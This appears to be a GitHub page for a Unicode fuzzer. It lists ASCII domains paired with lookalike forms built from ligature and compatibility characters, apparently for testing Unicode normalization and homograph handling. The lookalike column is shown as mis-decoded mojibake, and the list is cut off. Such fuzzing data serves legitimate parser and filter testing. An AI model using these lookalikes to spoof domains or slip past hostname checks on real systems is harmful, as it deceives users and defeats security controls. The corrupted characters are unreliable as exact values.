ij.fi 	ฤณ.๏ฌ 	3
ij.fm 	ฤฒ.ใŽ™ 	3
ij.gal 	ฤฒ.ใฟ 	3
ij.gb 	ฤฒ.ใŽ‡ 	3
ij.gy 	ฤฒ.ใ‰ 	3
ij.in 	ฤณ.ใŒ 	3
ij.kg 	ฤณ.ใŽ 	3
ij.km 	ฤฒ.ใŽ 	3
ij.kw 	ฤณ.ใŽพ 	3
ij.ltd 	ฤฒ.ใ‹ 	3
ij.ma 	ฤฒ.ใŽƒ 	3
ij.mc 	ฤณ.๐Ÿ…ช 	3
ij.md 	ฤฒ.๐Ÿ…ซ 	3
ij.mg 	ฤณ.ใŽŽ 	3
ij.mil 	ฤณ.ใ• 	3
ij.ml 	ฤฒ.ใŽ– 	3
ij.mm 	ฤฒ.ใŽœ 	3
ij.mr 	ฤณ.๐Ÿ…ฌ 	3
ij.ms 	ฤฒ.ใŽณ 	3
ij.mv 	ฤฒ.๐Ÿ…‹ 	3
...

ref

About

Unicode fuzzer for various purposes

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages